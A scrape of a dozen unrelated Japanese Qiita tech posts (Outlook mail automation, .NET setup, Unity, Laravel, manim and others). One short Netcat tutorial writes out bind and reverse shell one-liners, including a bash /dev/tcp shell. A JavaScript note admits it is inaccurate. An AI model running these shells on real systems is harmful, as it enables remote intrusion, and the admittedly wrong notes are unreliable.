OmniAICreator/Qiita-1.07M huggingface dataset:
[Outlook mail × tkinter ] 📧 週報メールまさか、毎週新規作成しているの！？

# ちょこっと業務を簡略化したい
　この記事では、ちょこっと効率化させたいことをプログラミングやツールをつかって解決していきます
ちょこっと削減した時間を、もっと人生楽しくなることに使いましょう！

# 本日のお題

## 📧 週報メール作成 📧 
報告とても重要ですよね。
 毎週金曜日に週報を上司に送らないといけない！しかも、CCに先輩もいれなければいけない
 
 
 まさかそのメール毎回、新規作成して、本文のフォーマットと送り先入力してないですよね？
 その時間もったいない⚡️ 
 でもそれ誰も教えてくれないですよね。　
 今回皆さんに共有しますね〜


## pythonデスクトップアプリで解決してみた

<環境>
🖥 Windows
📩 Outlook
🐍 python 3.12.5 
🏆 VSCode


本日は金曜日　毎週こんなメールを送っていると仮定します。↓

![スクリーンショット 2024-09-14 18.48.23.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3636287/06fd0d90-96d5-ec0d-6f3c-9f75012eee31.png)


## tkinter　コード変更点
※みなさんの業務に合うよう変更してください


①宛先変更
　CCが不要であれば、CCを消してください
　複数人の場合　`;`　で区切ってください

```python:python
    # To 送信先
        mail.To = "aaa@outlook.jp; bbb@outlook.jp" 
    # ㏄ 送信先 
        mail.CC = "ccc@outlook.jp; ddd@outlook.jp; eee@outlook.jp; fff@outlook.jp"  
```

②本文変更
` + \ `　→　改行
`\n` → スペース
```python:python
# 本文
mail.Body = (
    "各位" + \
    "\n" +
    "\n" +\
    "お疲れ様です。" +"\n" +\
    "週報になります。" +"\n" +\
    "こちらの資料をご確認よろしくお願いいたします。" +"\n" +\
    "\n" +
    "\n" +
    "ぽむさん"
)
```


これを実行すると↓
![スクリーンショット 2024-09-14 19.15.10.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3636287/d8fd9148-3976-586c-8a8d-4b50e0cf383d.png)


あとは、資料と送信ボタンを押すだけ📩




<details open><summary>全体コードはこちら↓</summary>

```python:python
    import win32com.client
    import subprocess
    
    outlook = win32com.client.Dispatch("outlook.Application")
    mail = outlook.CreateItem(0)  
    # To 送信先
    mail.To = "aaa@outlook.jp; bbb@outlook.jp" 
    # ㏄ 送信先 
    mail.CC = "ccc@outlook.jp; ddd@outlook.jp; eee@outlook.jp; fff@outlook.jp"  
    # 題名
    mail.Subject = "[〇〇部ぽむさん] 週報"
    mail.BodyFormat = 2
    # 本文
    mail.Body = (
        "各位" + \
        "\n" +
        "\n" +\
        "お疲れ様です。" +"\n" +\
        "週報になります。" +"\n" +\
        "こちらの資料をご確認よろしくお願いいたします。" +"\n" +\
        "\n" +
        "\n" +
        "ぽむさん"
    )
    
    mail.Display(True) 
```
</details>




## 🧡最後に
このコードをベースに修正し、自動化して見てください〜
私は、資料を貼り付けも自動化しています！
最終確認のため、送信は自分で押しています😂（ちょっとは人間身残しましょう）


今後、このようにちょっとした効率化のための情報を載せます。あなたの業務でも役立つこと願っています💓
M1/M3 Mac 環境での .NET Core セットアップで遭遇した"dotnet: command not found"エラーの解決

# M1/M3 Mac 環境での .NET Core セットアップで遭遇した"dotnet: command not found"エラーの解決

Apple Silicon 搭載の新しい Mac で.NET Core 開発を始めようとしたところ、思わぬ壁に直面しました。
「dotnet: command not found」というエラーに悩まされ、一時は途方に暮れましたが、様々な試行錯誤を経て、
ついに解決策を見出すことができました。この記事では、私が遭遇した問題とその解決プロセスを詳しく共有します。
同じ問題で悩んでいる方々の助けになれば幸いです。

## 1. はじめに

Apple Silicon 搭載の Mac（M1, M2, M3 など）で.NET Core 開発環境をセットアップする際、"dotnet: command not found"エラーに遭遇しました。
この記事では、そのエラーの解決方法と、解決までの過程を紹介します。

## 2. 発生した問題

`.NET Core SDK`をインストールしたにもかかわらず以下の症状が発生

- ターミナルで `dotnet` コマンドが認識されない
- `which dotnet` を実行すると `"dotnet not found"`と表示される
- `VSCode` で `.NET Core` 関連のエラーが表示される

## 3. 解決に至った手順

- Google で 検索
- AI(Clude) に質問

同じ症状がないか Google で検索した際にこちらの記事がヒットしました
[M3 mac 環境での dotnet: command not found .NET Core エラー解消方法](https://zenn.dev/unsoluble_sugar/articles/982e38df5ffbd9)

正直、こちらの記事を読んでもあんまりわからなかったので
この記事をまるごとコピーして AI(Clude) に聞いてみました

[![Image from Gyazo](https://i.gyazo.com/d35def87aa23551e4e29e66b3f15c8c1.png)](https://gyazo.com/d35def87aa23551e4e29e66b3f15c8c1)

## 4. 解決手順

### 4.1. .NET Core SDK の場所を確認

まず、`.NET Core SDK` が正しくインストールされているか確認します。

```bash
ls /usr/local/share/dotnet
```

このコマンドで、以下のようなディレクトリが表示されれば、SDK は正しくインストールされています

### 4.2. シンボリックリンクの作成

`dotnet` コマンドをシステム全体で認識させるために、シンボリックリンクを作成します。

```bash
sudo ln -s /usr/local/share/dotnet/dotnet /usr/local/bin/dotnet
```

### 4.3. 環境変数の設定

`.zshrc`ファイルを編集して、必要な環境変数を設定します。

```bash
nano ~/.zshrc
```

ファイルの最後に以下の行を追加します。

```bash
export DOTNET_ROOT="/usr/local/share/dotnet"
export PATH=$PATH:$DOTNET_ROOT
```

変更を保存し、エディタを終了します。
(nano の場合、Ctrl+X => Y => Enter の順に押します）

### 4.4. 新しい設定の反映

変更を反映させるために、以下のコマンドを実行します。

```bash
source ~/.zshrc
```

※ ターミナルの再起動でも大丈夫です。

### 4.5. 設定の確認

`dotnet`コマンドで正しく認識されているかを確認します。

```bash
which dotnet
```

`/usr/local/bin/dotnet`と表示されれば成功です。

さらに、インストールされている.NET のバージョンを確認します。

```bash
dotnet --version
```

### 4.6. トラブルシューティング

上記の手順を実行しても問題が解決しない場合は、.NET Core SDK を再インストールすることをお勧めします。
Homebrew を使用してインストールした場合、パスが異なる可能性があります。その場合は/opt/homebrew/share/dotnet を確認してください。

## 5. まとめ

Apple Silicon 搭載の Mac で.NET Core 開発環境をセットアップする際には、追加の設定が必要な場合があります。この記事で紹介した手順を踏むことで、多くの場合`"dotnet: command not found"`エラーを解決し、スムーズに開発を始めることができます。
開発中に他の問題が発生した場合は、公式のドキュメントを参照するか、開発者コミュニティに質問することをお勧めします。

## 参考リンク

- [M3 mac 環境での dotnet: command not found .NET Core エラー解消方法](https://zenn.dev/unsoluble_sugar/articles/982e38df5ffbd9)
【Unity】CameraStackにBaseカメラのFXAAが適用されてしまう問題について 

# 概要
整腸勇者では、CanvasのRenderModeをScreenSpace - Cameraとし、専用のUICameraを用意してBaseCameraのCameraStackとして登録しUIを描画している。この時、BaseCameraではAAの設定としてFXAAを採用していた。すると、なぜかUICameraで撮影されたUIに対してもFXAAが適用されるという問題にぶつかった。TextMeshProで描画していた文字が僅かに荒く描画されていて気付いた。今回はこの問題に対しての解決方法を記録に残す。

### FXAAでテキストを描画、このように明らかにピクセルが破綻している。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2803164/4170cf7a-396d-1229-b8e9-5fde7d1b8dcd.png)

もちろん、CanvasのRenderModeをScreenSpace - Overlay にすることでこの問題は発生しなくなるが、今回はUIの上に３Dのエフェクトを配置したいという要件があり、ScreenSpace - Camera を採用必要があった。

# 結論
BaseCameraでFXAAではなく、SMAAを採用すると解決する。(TAAもで可)

### 設定内容
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2803164/a7a5ef2d-1574-ad96-bb83-e5a0b11426de.png)

### SMAAでテキストを描画、綺麗にピクセルが描画されるようになった。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2803164/2dd14e48-3a61-d5d9-4ec6-19597dddbb68.png)

### CameraStackに影響を与えないFXAAの設定
を、知ってる人がいれば教えて下さい！

# 詳細
同じような問題にぶつかっている人をネットで見つけることができた。
[URP Camera Stack and Anti-Aliasing](https://discussions.unity.com/t/urp-camera-stack-and-anti-aliasing/786909)

ここでも話題としてあがっているが、どうやらFXAAはカメラスタックの描画が全て終わった後でAA処理をしているので、カメラスタックにUICameraを積むと一緒にAAが適用されてしまうとのこと。SMAAにすることで当該カメラだけにAAがかかるので問題は解消する。

他の解決方法としては、CameraStackを用いずにUICameraの内容をオフスクリーンレンダリングして描画するような方法も取れるかもしれないが、今回はSMAAを採用することで解決することとした。

他にもScreenSpace - Overlayにするという方法もあるが、前述した要件があるのに加え、今からUIの構成を変更するのも結構なコストがかかるのでこの選択肢は取れない。

# FXAAとSMAA
[アンチエイリアシング](https://docs.unity3d.com/ja/2019.4/Manual/PostProcessing-Antialiasing.html)
つまり、FXAAの方が高速だが、SMAAもモバイルやプラットフォームでも採用することのできるパフォーマンスではあるとのこと。クオリティ的にはSMAAの方に軍配があがるように見える。

### AAなし
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2803164/c1d36a90-c752-0f18-1651-60bbda5de5cd.png)

### FXAA
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2803164/42892fa2-2d9f-b25d-5e19-92b8e36eceb8.png)

### SMAA
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2803164/5a6303bb-155e-7928-2394-16baf287f3c0.png)


# 環境
Unity2022.3.39f1

以上
毎日の収入をリアルタイムで確認できる「サラリー」をリリースしました

## 毎日の収入をリアルタイムで確認！「サラリー」アプリで仕事のモチベーションをアップ！

日々の収入額が見えづらく、モチベーションが続かないと感じていませんか？
そんな悩みを解決する新しいアプリ「サラリー」をご紹介します。

https://apps.apple.com/us/app/%E3%82%B5%E3%83%A9%E3%83%AA%E3%83%BC-%E3%81%8A%E7%B5%A6%E6%96%99%E7%AE%A1%E7%90%86%E3%82%A2%E3%83%97%E3%83%AA/id6670354348

「サラリー」は、月の給料日までに自分がどれくらい稼いでいるのかをリアルタイムで確認できるアプリです。
給料日と月のお給料を入力するだけで、毎秒・毎分間隔で増加する収入を確認でき、毎日の頑張りが目に見える形で把握できます。

![14.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/597913/e72aee24-03ee-3e9d-ed64-1011e133a2cc.png)

さらに、目標を設定してモチベーションを高めることも可能！
「欲しいもの」や「したいこと」の金額を登録すると、現在の収入額に対しての達成率がパーセンテージで表示されるので、夢や目標に向かって頑張る気持ちを後押ししてくれます。

![15.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/597913/62f5c1b0-f07b-9dd5-96e8-71f80b540fa6.png)

このアプリは、シンプルながらも日々のモチベーションを高める強力なツールです。収入を視覚化し、自分の頑張りを実感できる「サラリー」で、あなたの働くモチベーションをさらにアップさせましょう！
JavaScript　初心者落書き(全く正しくありません)　オブジェクト志向

# クラス
``クラス｛
コンストラクター(○○){this.プロパティ = ○○}
メソッド
  ｝``
で設計図を作る


new クラス()；でインスタンス化

## プロパティに値を渡す方法
``クラス｛
コンストラクター(値){this.プロパティ＝値}
メソッド
  ｝``

new クラス(値)；

# コンストラクター
クラスをインスタンス化するためのメソッド
インスタンス化:オブジェクトのプロパティに値を渡してあげる

# 継承:クラスを進化させる
親クラスをスーパークラス、子クラスをサブクラスと呼ぶこともある

## プロパティやメソッドの追加
``継承先クラス　extends 元クラス{
コンストラクター(新引数){this.新プロパティ＝〇〇}
新メソッド
｝``

## プロパティのオーバーライド
``継承先クラス　extends 元クラス{
コンストラクター(新引数、旧引数){super();
this.オーバーライドしたいプロパティ=××;}
｝``

## メソッドのオーバーライド
``継承先クラス　extends 元クラス{
 コンストラクター(){super();新規プロパティ}
 既存メソッド(super.既存メソッド;追加機能)
｝``

# プライベートプロパティ
インスタンスのプロパティは通常
インスタンス名.プロパティ名で取得できる
`` class dog{constructor(color){this.color=color}}
  siro = new dog(white);
  console.log(siro.color) #white``

このように直接参照できるプロパティをパブリックプロパティという

`` class dog{constructor(color){this.#color=color}}``
のようにプロパティの前に#をつけることで参照できないプライベートプロパティとなる。

## プライベートプロパティの更新(セッター、ゲッター)
メソッドを経由するとプロパティの値を参照、更新できるようになる。
ゲッターで参照、セッターで更新
``クラス｛
コンストラクター
ゲッター(){return this.#プライベートプロパティ}
セッター(更新したい値){this.#プライベートプロパティ= 更新したい値
}``

## ゲッターセッターのモダンな書き方
get メソッド名、set メソッド名でゲッターとセッター両機能が同じメソッド名で登録できる。
``クラス｛
コンストラクター
get A(){return this.#プライベートプロパティ}
set A()(更新したい値){this.#プライベートプロパティ= 更新したい値
}``

同じインスタンス名.A();で呼び出せる

## 静的メソッド、静的プロパティ
プロパティは基本的インスタンス化していないと呼び出せない。
しかし
``クラス{
static 静的プロパティ＝○○
コンストラクター
static 静的メソッド
｝``
とするとインスタンス化しなくても呼び出せる。

# thisがさすもの
①メソッド内のthis:基本的に所属オブジェクト
※プロパティに外で定義した関数を入れる:所属するオブジェクト
※メソッド内関数:window

②アロー関数のthis:オブジェクトの中に入れててもwindowを参照する。
③コンストラクタのthis:よく見るやつ。所属オブジェクト。
④その他:window

# その他もろもろ
メッソドチェーン:オブジェクト.メッソド.メソッドとつなげていくとメソッドをまとめて実行できる。

clall:関数をオブジェクトのメソッドとして実行する
Netcatの基本的な使い方

# Netcat
Netcatは、ネット経由でデータの送受信を行えるツール。
いくつか種類があり、ncatはnmapの開発元が開発している。
以下のコマンドでインストールする。
```
sudo apt install ncat
```
# Windows版のNetcatの入手先
```Netcat for Windows
http://joncraton.org/blog/46/netcat-for-windows/
```
解凍パスワード"nc"
# ポートの接続
```
nc [ipaddress] [port]
```
# ポートの待受
```
nc -lvp [port]
```
# Bind Shell
サーバー側で以下のコマンドで待ち受ける
### Windowsの場合
```
nc -lvp [port] -e cmd
```
### Linuxの場合
```
nc -lvp [port] -e /bin/bash
```
クライアント側は以下のコマンドで接続する
```
nc [ipaddress] [port]
```
Bind Shellの終了は、クライアント側でexitを入力する
# Reverse Shell
クライアント側が以下のコマンドで接続を待ち受ける
```
nc -lvp [port]
```
サーバー側は以下のコマンドで接続する
### Windowsの場合
```
nc [ipaddress] [port] -e cmd
```
### Linuxの場合
```
nc [ipaddress] [port] -e /bin/bash
```
サーバー側のNetcatで、-eオプションが使用できない場合は
```
bash -c 'bash -i >& /dev/tcp/ipaddress/port 0>&1'
```
# ファイル転送
### 送り側
```
nc [ipaddress] [port] <[filename]
```
### 受け側
```
nc -lvp [port] >[filename]
```
もしくは
### 送り側
```
nc -lvp [port] <[filename]
```
### 受け側
```
nc [ipaddress] [port] >[filename]
```
リアルタイムコミュニケーション (RTC) 技術を用いたサッカーのライブスコア更新の最適化

紹介
急速に発展する情報時代において、サッカーのライブスコアを迅速かつ正確に更新することは大きな課題です。7Mでは、ユーザーに最高の体験を提供するために、**リアルタイムコミュニケーション（RTC）**技術を導入し、スコアの更新速度と効率を最大化しています。

RTC技術とは？
RTC（リアルタイムコミュニケーション）は、データを直接送受信する手法であり、チャット、ビデオ通話などの迅速な対話を必要とするアプリケーションでよく使用されます。7Mでは、試合の進行状況に関するデータがほぼ瞬時に送受信され、ユーザーがリアルタイムで試合の状況を把握できるようにしています。

7MにおけるRTC使用の利点

速度: スコアが変わるたびに、ページをリロードせずに即座に結果が更新されます。
高い正確性: この技術は、データの送受信中に情報が正確に伝達されることを保証します。
拡張性: RTCは、同時に何百万人ものユーザーに対応し、速度や遅延の問題を引き起こさないようにしています。
実際の応用
7Mは月に100万人以上のユーザーがアクセスしてサッカーの情報を更新しています。RTC技術を使用することで、迅速なスコア情報提供にとどまらず、詳細な統計、データ分析、およびその他の重要な情報も提供しています。これにより、7Mは単なるライブスコア提供の場を超えて、サッカーのデータと情報の総合プラットフォームとしての地位を確立しています。

結論
RTC技術は、サッカーのライブスコア提供分野で7Mがトップの地位を維持するための重要な要素です。技術の進歩に伴い、私たちは今後もシステムをアップグレードし、ユーザーにより良い体験を提供し続けることを目指しています。
[Python / line_profiler] 引数のある関数のうち、どの処理に時間をかかっているか計測したい

# 1. 概要

line_profiler は、関数の中の各行にどのくらいの実行時間がかかっているかを計測してくれる便利ライブラリだよ(^ワ^=)

ちなみに、「引数のない関数」における `line_profiler` の使い方は、以下のような記事に掲載されている。

https://qiita.com/aratana_tamutomo/items/aa3b723a3dd7a44e45d6

https://qiita.com/meshidenn/items/4dbde22d1e7a13a255bb#line_profile

しかし、「引数のある関数」をプロファイリングしたい時の方法が、簡単には見つからなかったので、この記事に記載しておく。


# 2. Environment

item|version など
--|--
python|3.10
line_profiler|4.1.3
jupyter|1.0.0

# 3. line_profiler の使い方

まずインストールして、

```bash
$ pip install line_profiler
```

## 3-1. 引数のない関数の場合

jupyter notebook 上で、以下のように書けば動く。

```python:ipynb
from line_profiler import LineProfiler


def main():
    for i in range(0, 9999):
        print(i)
    return i


profiler = LineProfiler()

profiler.add_function(main)
profiler.runcall(main)

# 結果出力
profiler.print_stats()
```

まぁ、これはわかる。


## 3-2. 引数のある関数の場合

引数のある関数はどうすればいいのか、あまり明確には記事に掲載されていない。

例えばこういう関数とか。

```python:ipynb
def main(hoge: str, huga: str):
    text: str = hoge + ", " + huga + ": "
    for i in range(0, 9999):
        print(text, str(i))
    return i
```

こういうのは、こうしたら動いた。


```python:ipynb
# The sample usage of line_profiler
from line_profiler import LineProfiler


hoge: str = "なんか文字列1"
huga: str = "なんか文字列2"

profile = LineProfiler()
profile.add_function(main)
profile.runcall(main, hoge=hoge, huga=huga)

profile.print_stats()
```

# 4. 背景情報

line_profiler の以下の公式ドキュメントを読めばわかる。
`runcall` 関数の仕様を見て欲しい。

https://kernprof.readthedocs.io/en/dev-docs/_modules/line_profiler/line_profiler.html#LineProfiler.runcall

以下のように書かれていると思う。

> ```python
>     def runcall(self, func, *args, **kw):
>         """ Profile a single function call.
>         """
>         self.enable_by_count()
>         try:
>             return func(*args, **kw)
>         finally:
>             self.disable_by_count()

これはつまり、 `*args` や `**kw` に引数を渡せるってことなんだよね。
なので、「2-2」に書いたように、今回はキーワード付き引数を渡すことにしたよ。


# 5. 参考

この記事にはそれっぽいことが書いてあるけれど、

https://laboratory.kazuuu.net/output-a-detailed-report-on-the-time-consumed-by-a-program-using-line_profiler-in-python/

例えばこんな風にしても、 profile 結果は得られなかった。

> ```python
> # ダメ: LineProfiler() に引数を渡した関数を渡しても、計測してくれない
> profile = LineProfiler(test_d(arg))
> profile.print_stats()
> ```

単純に関数自体に引数を渡してしまってもダメみたい( ˘ω˘)
国語研長単位係り受け解析モデルltgbert-base-japanese-ud-goeswithリリース

[一昨日](https://qiita.com/KoichiYasuoka/items/885e79090cf52dee012c)・[昨日](https://qiita.com/KoichiYasuoka/items/8f338846c177d815fe2e)の記事の続きだが、HPLT Deliverable 4.1『[First language models trained](https://hplt-project.org/HPLT_D4_1___First_language_models_trained.pdf)』(2024年2月29日)では、75言語についてLTG-BERTモデルを製作・公開し、うち54言語に対しては係り受け解析モデルも製作したらしい。同レポートTable 3.5によれば、日本語係り受け解析モデルはLASが94.6だったらしいが、これらの係り受け解析モデルは公開されていない。仕方ないので、日本語LTG-BERTモデル「[HPLT Bert for Japanese](https://huggingface.co/HPLT/hplt_bert_base_ja)」と国語研長単位[UD_Japanese-GSDLUW](https://github.com/UniversalDependencies/UD_Japanese-GSDLUW)をもとに、係り受け解析モデル[ltgbert-base-japanese-ud-goeswith](https://huggingface.co/KoichiYasuoka/ltgbert-base-japanese-ud-goeswith)を、[かなり苦労しつつ](https://huggingface.co/HPLT/hplt_bert_base_ja/discussions/1)試作してみた。ja_gsdluw-ud-test.conlluによる[ベンチマーク・プログラム](https://qiita.com/KoichiYasuoka/items/f689c2c6d0cba0fd26c2)は、Google Colaboratory (GPU版)だと、こんな感じ。

```
!pip install transformers
models=["KoichiYasuoka/ltgbert-base-japanese-ud-goeswith"]
import os,sys,subprocess
from transformers import pipeline
url="https://github.com/UniversalDependencies/UD_Japanese-GSDLUW"
d=os.path.basename(url)
os.system(f"test -d {d} || git clone --depth=1 {url}")
os.system("for F in train dev test ; do cp "+d+"/*-$F.conllu $F.conllu ; done")
url="https://universaldependencies.org/conll18/conll18_ud_eval.py"
c=os.path.basename(url)
os.system(f"test -f {c} || curl -LO {url}")
with open("test.conllu","r",encoding="utf-8") as r:
  s=[t[8:].strip() for t in r if t.startswith("# text =")]
for mdl in models:
  nlp=pipeline("universal-dependencies",mdl,trust_remote_code=True,aggregation_strategy="simple",device=0)
  with open("result.conllu","w",encoding="utf-8") as w:
    for t in s:
      w.write(nlp(t))
  p=subprocess.run([sys.executable,c,"-v","test.conllu","result.conllu"],encoding="utf-8",stdout=subprocess.PIPE,stderr=subprocess.STDOUT)
  print(f"\n*** {mdl}",p.stdout,sep="\n",flush=True)
```

私(安岡孝一)の手元では、以下の結果が出力された。

```
*** KoichiYasuoka/ltgbert-base-japanese-ud-goeswith
Metric     | Precision |    Recall |  F1 Score | AligndAcc
-----------+-----------+-----------+-----------+-----------
Tokens     |     92.56 |     79.98 |     85.81 |
Sentences  |    100.00 |    100.00 |    100.00 |
Words      |     92.56 |     79.98 |     85.81 |
UPOS       |     91.64 |     79.18 |     84.96 |     99.00
XPOS       |      0.00 |      0.00 |      0.00 |      0.00
UFeats     |     92.56 |     79.98 |     85.81 |    100.00
AllTags    |      0.00 |      0.00 |      0.00 |      0.00
Lemmas     |      0.00 |      0.00 |      0.00 |      0.00
UAS        |     78.98 |     68.24 |     73.22 |     85.32
LAS        |     78.20 |     67.57 |     72.50 |     84.48
CLAS       |     70.70 |     61.78 |     65.94 |     78.47
MLAS       |     68.36 |     59.74 |     63.76 |     75.87
BLEX       |      0.00 |      0.00 |      0.00 |      0.00
```

UPOS/LAS/MLASが84.96/72.50/63.76なので、LASが94.6というTable 3.5の結果には遠く及ばない。うーん、『First language models trained』で使ってるの、もしかしたら国語研長単位UD_Japanese-GSDLUWじゃなくて、国語研短単位[UD_Japanese-GSD](https://github.com/UniversalDependencies/UD_Japanese-GSD)なのかなあ。
ヘッダーにあるBearerって何なの？ 

## はじめに
開発をしている時に、ヘッダーの中でアクセストークンの前に書くBearerって何なのか疑問に思ったので、まとめてみました。

## Bearer
ベアラと読み、運搬者、伝達者、担い手、持参者などの意味を持つ英単語です。
Bearer認証方式という方式があり、RFC 6750に規定されています。
以下が日本語で書かれたRFC 6750になります。

https://openid-foundation-japan.github.io/rfc6750.ja.html

## Bearer認証方式
 署名なしトークン (Bearer Token)
トークンを所有さえしていれば、他に何か証明するものがなくても利用できるトークン。

この署名ないトークンを用いて以下の認証をするものをBearer認証方式といいます。

1\.クライアントは事前に取得したアクセストークンをAuthorizationヘッダ入れ、サーバーにRequestを送る
2\.サーバはアクセストークンが有効なものか確認する
3\.アクセストークンが有効だった場合、サーバはクライアントが要求したリソースを送る


## 終わり
最後まで読んでくださり、ありがとうございます！
普段開発をしてて、疑問に思ったことはやはり調べてみたほうがいいですね。
【Laravel】.env値の取得時の挙動（調査中記事）

今週の小ネタ。

## `${    }`

デフォルトの `.env` を眺めてみると、以下のように `${}` で囲まれたキーがありました。

```ini:.env
APP_NAME="Laravel"

MAIL_FROM_NAME="${APP_NAME}"
```

おや？と思ってこの値が何を指しているか確認。

```bash
$ php artisan config:show mail 
  mail .................................................................................  
  from ⇁ address ..................................................... hello@example.com  
  from ⇁ name .................................................................. Laravel  
```

この `from ⇁ address` が `MAIL_FROM_NAME` の値。
ちゃんと「Laravel」に置き換わってるじゃないですか！


## 使いたかったとこ

Docker を構築するとき、ポート番号をずらすために変数化しますよね。

```yml:docker-compose.yml
ports:
    - '${APP_PORT:-80}:80'
```

このとき `APP_URL` のポート番号も動的に変えないと、リンクなどが上手く動かないケースがあります。
そんなときも、この `APP_PORT` 変数を埋め込めば？

```ini:.env
APP_PORT=8080

APP_URL="http://localhost:${APP_PORT}"
```

```
$ php artisan config:show app
  app ..................................................................................  
  url ...................................................................... ${APP_PORT}
```

なんで？


## 実装を読む

実装を読むコーナー

それぞれの config 実装はこんな感じ。

```php
'url' => env('APP_URL', 'http://localhost'),


'from' => [
    'name' => env('MAIL_FROM_NAME', 'Example'),
],
```

どちらもただ `env()` を呼び出しているだけ。

```
    public static function get($key, $default = null)
    {
        return self::getOption($key)->getOrCall(fn () => value($default));
    }
```

うーんソースコードを読む


### 値の変換

https://github.com/laravel/framework/blob/11.x/src/Illuminate/Support/Env.php#L99

こちらの `getOption()` にて、いくつかの変換をしている。

まず、値を小文字にした後に、以下のテーブルに一致した場合は、変換を行っている。

| 文字列値             | 変換後      | 
| ------------------- | ----------- | 
| 「true」「(true)」   | true        | 
| 「false」「(false)」 | false       | 
| 「empty」「(empty)」 | '' (空文字) | 
| 「null」「(null)」   | null        | 

次に `"` や `'` を取り除いている。

この関数のお陰で、良い感じに `.env` が取得できると。


## おわりに

うーん、変数利用について特にコードが無い...
もう少し調べます...
SpringBootで環境構築

## IntelliJ
今回はIntelliJを使って環境構築をしようと思う
IntelliJには無料版と有料版があるが今回は私が学生なので無料版が使えるということがあり無料版を使おうと思う。
## ItelliJのインストール
https://blog.jetbrains.com/ja/2019/08/22/2105/
ここから大学のメールアドレスを使って学生パックのライセンスを取得する。
そうしたらIntelliJ IDEAをインストールしよう。
## SpringBootの環境構築の準備
### SpringBootの雛形を取得する
https://start.spring.io 

SpringBootの雛形には上からspring initializerに行きここで雛形を取得する。

![スクリーンショット 2024-09-14 17.23.50.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3880447/4d192d34-6f4b-0a7c-3a97-f50dfd0de70b.png)


これがspring initializerである。この画面からさまざまな設定をすることでSpringBootの雛形を取得できるのでさっそくやってみよう。今回はwebアプリケーションを作るのが目標なのでそれに合わせた設定をしてみる。
* Project・・Maven
* Language・・Java
* Spring Boot・・初期に設定されてるもの
* Group・・逆ドメイン（例えば、example.comならcom.exampleとなる）
* Artifact・・アプリケーション名や成果物の名前を入れる
* Name・・プロジェクトの正式名称を入れる
* Description・・プロジェクトの適当な説明を入れる
* Package Name・・Javaのパッケージ名を入れる（例えば、GroupとArtifactを合わせたもの　com.example.myapp）
* Packaging・・Jar
* Java・・17
* Dependencies
    * webアプリケーション開発では以下のものを使う
        * Spring Web・・必須
        * Thymeleaf・・HTMLを使う
        * Spring Boot DevTools・・自動再起動やキャッシュの無効化など
        * Spring Data JPA・・データベースとの連携
        * MySQL Driver・・MySQLを使う
        * Spring Security・・ 認証や認可を実装
        * Spring Session・・セッション管理
    * その他必要に応じて使う
        * Spring Boot Actuator・・アプリケーションのヘルスチェックや監視
        * Spring Cloud・・マイクロサービスやクラウドネイティブアプリケーションを作成

この設定でspring initializerを設定してGENERATEで雛形を作成する。
そしたら雛形作成はこれで終了です！時間はかかりましたが準備はできたのでここから開発をしていきましょう！
wslでmanim その21

# 概要
wslでmanimやってみた。
練習問題やってみた。

# 練習問題
AM変調を表示せよ。

# 成果物

![ManimGraph_ManimCE_v0.18.1.gif](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/18104/d2b2a653-c064-b639-a461-8a46eefb4f15.gif)


# サンプルコード

```

from manim import *
import scipy.signal as sg


class ManimGraph(Scene):
	def construct(self):
		sample_rate = 48000.
		nsamples = 320
		F_1KHz = 1000.
		A_1KHz = 1.0
		F_15KHz = 15000.
		A_15KHz = 0.5
		F_14KHz = 14800.
		A_14KHz = 0.8
		tx = np.arange(nsamples)
		t = np.arange(nsamples) / sample_rate
		vin = A_1KHz * np.sin(2 * np.pi * F_1KHz * t) 
		vam = (A_1KHz * np.sin(2 * np.pi * F_1KHz * t) + 1.0) * A_15KHz * np.sin(2 * np.pi * F_15KHz * t)
		i1 = vam * np.cos(2 * np.pi * F_14KHz * t)
		q1 = vam * np.sin(2 * np.pi * F_14KHz * t)
		nyq_rate = sample_rate / 2.
		cutoff_hz = 6000.0
		numtaps = 29
		lpf = sg.firwin(numtaps, cutoff_hz / nyq_rate)
		i2 = sg.lfilter(lpf, 1, i1)
		q2 = sg.lfilter(lpf, 1, q1)
		o = np.sqrt(i2 * i2 + q2 * q2)
		axes = Axes(x_range = (0, 320, 40), y_range = (-1, 1, 0.4), tips = False)
		axes.add_coordinates() 
		name = Text("Graph").next_to(axes, UP, buff = 0)
		graph = axes.plot_line_graph(tx[1:300], vam[1:300], add_vertex_dots = False, line_color = RED)
		self.play(Write(axes), Write(name))
		self.play(Write(graph))
		self.wait()





```

以上。
Devcontainers+poetryによるCUDA環境の作成(VSCode)

## アブスト
VSCodeのDev Containers拡張機能に備わっている[Automate dev container creation](https://code.visualstudio.com/docs/devcontainers/create-dev-container#_automate-dev-container-creation)機能を使用して、てっとり早くCUDA環境を作る方法です。

## Poetry
- ナウイパッケージ管理ツール(キャッシュの容量食いがちなのでそこは注意）
- [バージョンの依存関係を解決してくれる。](https://python-poetry.org/docs/repositories/#:~:text=dependency%20confusion%20attacks.-,Supported%20Package%20Sources,-Python%20Package%20Index)(ここがpip+requirements.txtだとできない。)
https://book.st-hakky.com/hakky/poetry-intro/
- ローカル環境だと+pyenvでpythonのversionも同時に管理できる

## 手順
1. F1でコマンドパレットを開きDev Containers: Add Dev Container Configuration Files...を選択<br>![Dev container def all.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3885881/1b93259f-2772-bf67-67c9-18b6c26db886.png)
2. pythonと入力して、Python 3を選択して使用したいversionを選ぶ。python+poetryでもいいと思うが、後でpipでpoetryをインストールするからpureなほうを選択<br>![devcontainer_python.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3885881/efcbf078-94c9-1bcf-ec45-6beee83cef86.png)<br>https://github.com/microsoft/vscode-dev-containers/tree/main/containers/python-3<br>
